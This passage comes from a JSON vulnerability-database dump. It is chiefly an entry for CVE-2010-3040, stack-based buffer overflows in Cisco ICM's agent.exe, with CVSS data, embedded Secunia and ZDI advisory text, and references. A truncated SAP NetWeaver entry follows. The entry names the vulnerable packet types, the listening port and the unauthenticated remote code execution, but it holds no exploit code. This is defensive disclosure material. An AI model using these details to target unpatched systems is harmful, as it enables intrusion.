"cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\):*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)a:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr10:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr2:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr3:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr4:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)a:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr10:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr12:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:5.0\\(0\\)_sr8:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr1:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr5:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr7:*:*:*:*:*:*:*", "cpe_name": [] }, { "vulnerable": true, "cpe23Uri": "cpe:2.3:a:cisco:intelligent_contact_manager:6.0\\(0\\)_sr9:*:*:*:*:*:*:*", "cpe_name": [] } ] } ] } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/configurations#", "data": { "@container": "@list" }, "nodes": { "@container": "@list" }, "cpe_match": { "@container": "@list" }, "children": { "@container": "@list" } } }, "credits": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "BID", "id": "44699" } ], "data": "sb", "trust": 3.1, "@context": { "@vocab": "https://www.variotdbs.pl/ref/credits#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cvss": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "VULHUB", "id": "VHN-45645" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "CNNVD", "id": "CNNVD-201011-105" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "severity": [ { "id": "CVE-2010-3040", "value": "HIGH", "author": "ZDI", "trust": 2.8 }, { "value": "HIGH", "author": "NVD", "id": "CVE-2010-3040", "trust": 1.8 }, { "id": "CNNVD-201011-105", "value": "CRITICAL", "author": "CNNVD", "trust": 0.6 }, { "value": "HIGH", "author": "VULHUB", "id": "VHN-45645", "trust": 0.1 } ], "cvssV2": [ { "id": "CVE-2010-3040", "author": "NVD", "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "Network", "accessComplexity": "Low", "authentication": "None", "confidentialityImpact": "Complete", "integrityImpact": "Complete", "availabilityImpact": "Complete", "baseScore": 10.0, "severity": "High", "exploitabilityScore": null, "impactScore": null, "acInsufInfo": null, "obtainAllPrivilege": null, "obtainUserPrivilege": null, "obtainOtherPrivilege": null, "userInteractionRequired": null, "trust": 3.6 }, { "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false, "version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "author": "NVD", "severity": "HIGH", "trust": 1.0 }, { "version": "2.0", "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "id": "VHN-45645", "author": "VULHUB", "trust": 0.1 } ], "cvssV3": [] } ], "@context": { "cvssV3": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#" } }, "cvssV2": { "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#" } }, "severity": { "@id": "https://www.variotdbs.pl/ref/cvss/severity", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/cvss/severity#" } }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "description": { "sources": [ { "db": "NVD", "id": "CVE-2010-3040" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "BID", "id": "44699" }, { "db": "VULHUB", "id": "VHN-45645" }, { "db": "PACKETSTORM", "id": "95603" }, { "db": "PACKETSTORM", "id": "95602" }, { "db": "PACKETSTORM", "id": "95659" }, { "db": "PACKETSTORM", "id": "95608" }, { "db": "PACKETSTORM", "id": "95601" } ], "data": "Multiple stack-based buffer overflows in agent.exe in Setup Manager in Cisco Intelligent Contact Manager (ICM) before 7.0 allow remote attackers to execute arbitrary code via a long parameter in a (1) HandleUpgradeAll, (2) AgentUpgrade, (3) HandleQueryNodeInfoReq, or (4) HandleUpgradeTrace TCP packet, aka Bug IDs CSCti45698, CSCti45715, CSCti45726, and CSCti46164. The problem is Bug ID CSCti45698 , CSCti45715 , CSCti45726 ,and CSCti46164 It is a problem.By a third party (1) HandleUpgradeAll , (2) AgentUpgrade , (3) HandleQueryNodeInfoReq , (4) HandleUpgradeTrace TCP Arbitrary code could be executed via overly long parameters in the packet. Authentication is not required to exploit this vulnerability. The flaw exists within the Agent.exe component which listens by default on TCP port 40078. When processing the HandleUpgradeAll packet type an unchecked copy of user supplied data is performed into a stack-based buffer of a controlled size. Successful exploitation of this vulnerability leads to remote code execution under the context of the SYSTEM user. This may result in a compromise of the underlying system. Failed attempts may lead to a denial-of-service condition. ----------------------------------------------------------------------\n\n\nSecure your corporate defenses and reduce complexity in handling vulnerability threats with the new Secunia Vulnerability Intelligence Manager (VIM) Beta. \n\nJoin the beta: \nhttp://secunia.com/products/corporate/vim/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nCisco Intelligent Contact Manager Setup Manager \"Agent.exe\" Multiple\nVulnerabilities\n\nSECUNIA ADVISORY ID:\nSA42146\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/42146/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory&vuln_id=42146\n\nRELEASE DATE:\n2010-11-09\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/42146/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/42146/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory&vuln_id=42146\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nSome vulnerabilities have been reported in Cisco Intelligent Contact\nManager Setup Manager, which can be exploited by malicious people to\ncompromise a vulnerable system. \n\n1) A boundary error within Agent.exe when handling the\n\"HandleUpgradeAll\" packet can be exploited to cause a stack-based\nbuffer overflow via a specially crafted request sent to e.g. TCP port\n40078. \n\n2) A boundary error within Agent.exe when handling the \"AgentUpgrade\"\npacket can be exploited to cause a stack-based buffer overflow via a\nspecially crafted request sent to e.g. TCP port 40078. \n\n3) A boundary error within Agent.exe when handling the\n\"HandleQueryNodeInfoReq\" packet can be exploited to cause a\nstack-based buffer overflow via a specially crafted request sent to\ne.g. TCP port 40078. \n\n4) A boundary error within Agent.exe when handling the\n\"HandleUpgradeTrace\" packet can be exploited to cause a stack-based\nbuffer overflow via a specially crafted request sent to e.g. TCP port\n40078. \n\nPlease see the vendor's advisory for the list of affected versions. \n\nSOLUTION:\nThe vendor recommends to delete the Agent.exe file or restrict\nnetwork access to the affected service. \n\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nPROVIDED AND/OR DISCOVERED BY:\nsb, reported via ZDI. \n\nORIGINAL ADVISORY:\nCisco:\nhttp://tools.cisco.com/security/center/viewAlert.x?alertId=21726\n\nZDI:\nhttp://www.zerodayinitiative.com/advisories/ZDI-10-232/\nhttp://www.zerodayinitiative.com/advisories/ZDI-10-233/\nhttp://www.zerodayinitiative.com/advisories/ZDI-10-234/\nhttp://www.zerodayinitiative.com/advisories/ZDI-10-235/\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. ZDI-10-232: Cisco ICM Setup Manager Agent.exe HandleUpgradeAll Remote Code Execution Vulnerability\n\nhttp://www.zerodayinitiative.com/advisories/ZDI-10-232\n\nNovember 7, 2010\n\n-- CVE ID:\nCVE-2010-3040\n\n-- CVSS:\n10, (AV:N/AC:L/Au:N/C:C/I:C/A:C)\n\n-- Affected Vendors:\nCisco\n\n-- Affected Products:\nCisco Unified Intelligent Contact Management\n\n-- TippingPoint(TM) IPS Customer Protection:\nTippingPoint IPS customers have been protected against this\nvulnerability by Digital Vaccine protection filter ID 9915. \n\n-- Vendor Response:\nCisco has issued an update to correct this vulnerability. More\ndetails can be found at:\n\nhttp://tools.cisco.com/security/center/viewAlert.x?alertId=21726\n\n-- Disclosure Timeline:\n2010-06-01 - Vulnerability reported to vendor\n2010-11-07 - Coordinated public release of advisory\n\n-- Credit:\nThis vulnerability was discovered by:\n * sb\n\n-- About the Zero Day Initiative (ZDI):\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents\na best-of-breed model for rewarding security researchers for responsibly\ndisclosing discovered vulnerabilities. \n\nResearchers interested in getting paid for their security research\nthrough the ZDI can find more information and sign-up at:\n\n http://www.zerodayinitiative.com\n\nThe ZDI is unique in how the acquired vulnerability information is\nused. Instead, upon notifying the affected product vendor,\nTippingPoint provides its customers with zero day protection through\nits intrusion prevention technology. Explicit details regarding the\nspecifics of the vulnerability are not exposed to any parties until\nan official vendor patch is publicly available. Furthermore, with the\naltruistic aim of helping to secure a broader user base, TippingPoint\nprovides this vulnerability information confidentially to security\nvendors (including competitors) who have a vulnerability protection or\nmitigation product. \n\nOur vulnerability disclosure policy is available online at:\n\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\n\nFollow the ZDI on Twitter:\n\n http://twitter.com/thezdi\n\n\n", "trust": 4.95, "@context": { "@vocab": "https://www.variotdbs.pl/ref/description#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "exploit_availability": { "sources": [ { "db": "VULHUB", "id": "VHN-45645" } ], "data": [ { "type": "unknown", "reference": "https://www.scap.org.cn/vuln/vhn-45645", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "external_ids": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "VULHUB", "id": "VHN-45645" }, { "db": "BID", "id": "44699" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "PACKETSTORM", "id": "95603" }, { "db": "PACKETSTORM", "id": "95602" }, { "db": "PACKETSTORM", "id": "95659" }, { "db": "PACKETSTORM", "id": "95608" }, { "db": "PACKETSTORM", "id": "95601" }, { "db": "CNNVD", "id": "CNNVD-201011-105" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "db": "NVD", "id": "CVE-2010-3040", "trust": 6.0 }, { "db": "ZDI", "id": "ZDI-10-232", "trust": 2.9 }, { "db": "ZDI", "id": "ZDI-10-235", "trust": 2.9 }, { "db": "ZDI", "id": "ZDI-10-234", "trust": 2.9 }, { "db": "ZDI", "id": "ZDI-10-233", "trust": 2.9 }, { "db": "BID", "id": "44699", "trust": 2.0 }, { "db": "SECUNIA", "id": "42146", "trust": 1.9 }, { "db": "VUPEN", "id": "ADV-2010-2914", "trust": 1.7 }, { "db": "SECTRACK", "id": "1024693", "trust": 1.7 }, { "db": "JVNDB", "id": "JVNDB-2010-003014", "trust": 0.8 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-796", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-795", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-794", "trust": 0.7 }, { "db": "ZDI_CAN", "id": "ZDI-CAN-793", "trust": 0.7 }, { "db": "CNNVD", "id": "CNNVD-201011-105", "trust": 0.7 }, { "db": "PACKETSTORM", "id": "95601", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "95603", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "95608", "trust": 0.2 }, { "db": "PACKETSTORM", "id": "95602", "trust": 0.2 }, { "db": "VULHUB", "id": "VHN-45645", "trust": 0.1 }, { "db": "PACKETSTORM", "id": "95659", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "iot": { "sources": [ { "db": "VULHUB", "id": "VHN-45645" } ], "data": true, "trust": 0.01, "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "patch": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" } ], "data": [ { "title": "21726", "url": "http://tools.cisco.com/security/center/viewalert.x?alertid=21726", "trust": 3.6 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources": { "data": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "VULHUB", "id": "VHN-45645" }, { "db": "BID", "id": "44699" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "PACKETSTORM", "id": "95603" }, { "db": "PACKETSTORM", "id": "95602" }, { "db": "PACKETSTORM", "id": "95659" }, { "db": "PACKETSTORM", "id": "95608" }, { "db": "PACKETSTORM", "id": "95601" }, { "db": "CNNVD", "id": "CNNVD-201011-105" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } } }, "problemtype_data": { "sources": [ { "db": "VULHUB", "id": "VHN-45645" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "trust": 1.9, "problemtype": "CWE-119" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "references": { "sources": [ { "db": "ZDI", "id": "ZDI-10-232" }, { "db": "ZDI", "id": "ZDI-10-235" }, { "db": "ZDI", "id": "ZDI-10-234" }, { "db": "ZDI", "id": "ZDI-10-233" }, { "db": "VULHUB", "id": "VHN-45645" }, { "db": "BID", "id": "44699" }, { "db": "JVNDB", "id": "JVNDB-2010-003014" }, { "db": "PACKETSTORM", "id": "95603" }, { "db": "PACKETSTORM", "id": "95602" }, { "db": "PACKETSTORM", "id": "95659" }, { "db": "PACKETSTORM", "id": "95608" }, { "db": "PACKETSTORM", "id": "95601" }, { "db": "CNNVD", "id": "CNNVD-201011-105" }, { "db": "NVD", "id": "CVE-2010-3040" } ], "data": [ { "url": "http://tools.cisco.com/security/center/viewalert.x?alertid=21726", "trust": 5.3 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-232/", "trust": 2.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-233/", "trust": 2.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-234/", "trust": 2.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-235/", "trust": 2.1 }, { "url": "http://www.securityfocus.com/bid/44699", "trust": 1.7 }, { "url": "http://securitytracker.com/id?1024693", "trust": 1.7 }, { "url": "http://secunia.com/advisories/42146", "trust": 1.7 }, { "url": "http://www.vupen.com/english/advisories/2010/2914", "trust": 1.7 }, { "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2010-3040", "trust": 0.8 }, { "url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2010-3040", "trust": 0.8 }, { "url": "http://www.zerodayinitiative.com/advisories/disclosure_policy/", "trust": 0.4 }, { "url": "http://twitter.com/thezdi", "trust": 0.4 }, { "url": "http://www.tippingpoint.com", "trust": 0.4 }, { "url": "http://www.zerodayinitiative.com", "trust": 0.4 }, { "url": "https://nvd.nist.gov/vuln/detail/cve-2010-3040", "trust": 0.4 }, { "url": "http://www.cisco.com/en/us/products/sw/custcosw/ps1001/tsd_products_support_series_home.html", "trust": 0.3 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-234", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-233", "trust": 0.1 }, { "url": "http://secunia.com/products/corporate/evm/", "trust": 0.1 }, { "url": "http://secunia.com/advisories/secunia_security_advisories/", "trust": 0.1 }, { "url": "http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/", "trust": 0.1 }, { "url": "https://ca.secunia.com/?page=viewadvisory&vuln_id=42146", "trust": 0.1 }, { "url": "http://secunia.com/advisories/42146/", "trust": 0.1 }, { "url": "http://secunia.com/products/corporate/vim/", "trust": 0.1 }, { "url": "http://secunia.com/vulnerability_scanning/personal/", "trust": 0.1 }, { "url": "http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org", "trust": 0.1 }, { "url": "http://secunia.com/advisories/42146/#comments", "trust": 0.1 }, { "url": "http://secunia.com/advisories/about_secunia_advisories/", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-235", "trust": 0.1 }, { "url": "http://www.zerodayinitiative.com/advisories/zdi-10-232", "trust": 0.1 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "sources_update_date": { "data": [ { "db": "ZDI", "id": "ZDI-10-232", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-235", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-234", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-233", "date": "2010-11-07T00:00:00" }, { "db": "VULHUB", "id": "VHN-45645", "date": "2010-11-10T00:00:00" }, { "db": "BID", "id": "44699", "date": "2010-11-07T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2010-003014", "date": "2012-03-27T00:00:00" }, { "db": "CNNVD", "id": "CNNVD-201011-105", "date": "2010-11-11T00:00:00" }, { "db": "NVD", "id": "CVE-2010-3040", "date": "2010-11-10T15:26:10.980000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } } }, "sources_release_date": { "data": [ { "db": "ZDI", "id": "ZDI-10-232", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-235", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-234", "date": "2010-11-07T00:00:00" }, { "db": "ZDI", "id": "ZDI-10-233", "date": "2010-11-07T00:00:00" }, { "db": "VULHUB", "id": "VHN-45645", "date": "2010-11-09T00:00:00" }, { "db": "BID", "id": "44699", "date": "2010-11-07T00:00:00" }, { "db": "JVNDB", "id": "JVNDB-2010-003014", "date": "2012-03-27T00:00:00" }, { "db": "PACKETSTORM", "id": "95603", "date": "2010-11-08T23:35:44" }, { "db": "PACKETSTORM", "id": "95602", "date": "2010-11-08T23:35:31" }, { "db": "PACKETSTORM", "id": "95659", "date": "2010-11-09T02:06:46" }, { "db": "PACKETSTORM", "id": "95608", "date": "2010-11-08T23:45:11" }, { "db": "PACKETSTORM", "id": "95601", "date": "2010-11-08T23:34:24" }, { "db": "CNNVD", "id": "CNNVD-201011-105", "date": "2010-11-11T00:00:00" }, { "db": "NVD", "id": "CVE-2010-3040", "date": "2010-11-09T21:00:03.693000" } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } } }, "threat_type": { "sources": [ { "db": "PACKETSTORM", "id": "95603" }, { "db": "PACKETSTORM", "id": "95602" }, { "db": "PACKETSTORM", "id": "95608" }, { "db": "PACKETSTORM", "id": "95601" }, { "db": "CNNVD", "id": "CNNVD-201011-105" } ], "data": "remote", "trust": 1.0, "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "title": { "sources": [ { "db": "JVNDB", "id": "JVNDB-2010-003014" } ], "data": "Cisco ICM of Setup Manager of agent.exe Vulnerable to stack-based buffer overflow", "trust": 0.8, "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "type": { "sources": [ { "db": "CNNVD", "id": "CNNVD-201011-105" } ], "data": "buffer overflow", "trust": 0.6, "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "cve": "CVE-2010-3040", "last_update_date": "2024-07-23T22:41:43.584000Z", "@id": "https://www.variotdbs.pl/vuln/VAR-201011-0225", "@context": { "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#", "sources": { "@id": "https://www.variotdbs.pl/ref/sources/" }, "sources_update_date": { "@id": "https://www.variotdbs.pl/ref/sources_update_date/" }, "sources_release_date": { "@id": "https://www.variotdbs.pl/ref/sources_release_date/" }, "affected_products": { "@id": "https://www.variotdbs.pl/ref/affected_products" }, "configurations": { "@id": "https://www.variotdbs.pl/ref/configurations" }, "credits": { "@id": "https://www.variotdbs.pl/ref/credits" }, "cvss": { "@id": "https://www.variotdbs.pl/ref/cvss/" }, "description": { "@id": "https://www.variotdbs.pl/ref/description/" }, "external_ids": { "@id": "https://www.variotdbs.pl/ref/external_ids/" }, "iot": { "@id": "https://www.variotdbs.pl/ref/iot/" }, "iot_taxonomy": { "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/" }, "patch": { "@id": "https://www.variotdbs.pl/ref/patch/" }, "problemtype_data": { "@id": "https://www.variotdbs.pl/ref/problemtype_data/" }, "references": { "@id": "https://www.variotdbs.pl/ref/references/" }, "threat_type": { "@id": "https://www.variotdbs.pl/ref/threat_type/" }, "title": { "@id": "https://www.variotdbs.pl/ref/title/" }, "type": { "@id": "https://www.variotdbs.pl/ref/type/" }, "exploit_availability": { "@id": "https://www.variotdbs.pl/ref/exploit_availability/" } } } ``` ## [var-201112-0297](https://vulnerability.circl.lu/vuln/var-201112-0297) ```json { "id": "VAR-201112-0297", "affected_products": { "sources": [ { "db": "IVD", "id": "3b9467ec-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3d199b1e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3e98d306-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "3a022216-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "40204c22-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4119fc7c-1f7f-11e6-abef-000c29c66e3d" }, { "db": "IVD", "id": "4247bd6e-1f7f-11e6-abef-000c29c66e3d" }, { "db": "CNVD", "id": "CNVD-2011-4916" }, { "db": "CNVD", "id": "CNVD-2011-4917" }, { "db": "CNVD", "id": "CNVD-2011-4915" }, { "db": "CNVD", "id": "CNVD-2011-4912" }, { "db": "CNVD", "id": "CNVD-2011-4914" }, { "db": "CNVD", "id": "CNVD-2011-4913" }, { "db": "CNVD", "id": "CNVD-2011-4911" }, { "db": "BID", "id": "50680" }, { "db": "JVNDB", "id": "JVNDB-2011-003325" }, { "db": "CNNVD", "id": "CNNVD-201112-122" }, { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "vendor": "sap", "model": "netweaver", "version": "7.0", "scope": "eq", "trust": 5.9 }, { "vendor": "sap", "model": "netweaver sp15", "version": "7.0", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver sp8", "version": "7.0", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver", "version": "7.10", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver", "version": "7.30", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver", "version": "7.02", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver", "version": "7.01", "scope": "eq", "trust": 4.5 }, { "vendor": "sap", "model": "netweaver sp15", "version": "7.0*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver sp8", "version": "7.0*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": "7.10*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": "7.30*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": "7.02*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": "7.01*", "scope": "eq", "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": null, "scope": null, "trust": 1.4 }, { "vendor": "sap", "model": "netweaver", "version": "*", "scope": "eq", "trust": 1.0 } ], "@context": { "@vocab": "https://www.variotdbs.pl/ref/affected_products#", "data": { "@container": "@list" }, "sources": { "@id": "https://www.variotdbs.pl/ref/sources", "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } } }, "configurations": { "sources": [ { "db": "NVD", "id": "CVE-2011-4707" } ], "data": [ { "CVE_data_version": "4.0", "nodes": [ { "operator": "OR", "children": 